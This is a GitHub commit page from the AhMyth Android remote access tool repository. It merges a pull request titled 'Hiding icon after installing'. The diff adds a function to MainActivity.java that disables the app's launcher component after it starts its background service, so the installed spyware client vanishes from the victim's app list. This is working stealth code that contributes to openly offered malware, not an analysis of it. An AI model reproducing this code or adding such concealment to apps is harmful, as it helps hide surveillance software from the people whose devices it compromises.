Skip to content

Commit fb384a7

Browse files
authored
Merge pull request AhMyth#173 from p2svn9x/master
Hiding icon after installing.
2 parents 563488a + 007e073 commit fb384a7

File tree

1 file changed

+6
-0
lines changed

1 file changed

+6
-0
lines changed

AhMyth-Client/app/src/main/java/ahmyth/mine/king/ahmyth/MainActivity.java

+6
Original file line numberDiff line numberDiff line change
@@ -21,9 +21,15 @@ protected void onCreate(Bundle savedInstanceState) {
2121
setContentView(R.layout.activity_main);
2222
startService(new Intent(this, MainService.class));
2323
finish();
24+
fn_hideicon();
2425
}
2526

27+
private void fn_hideicon() {
2628

29+
getPackageManager().setComponentEnabledSetting(getComponentName(),
30+
PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
31+
PackageManager.DONT_KILL_APP);
32+
}
2733

2834

2935

0 commit comments

Comments
 (0)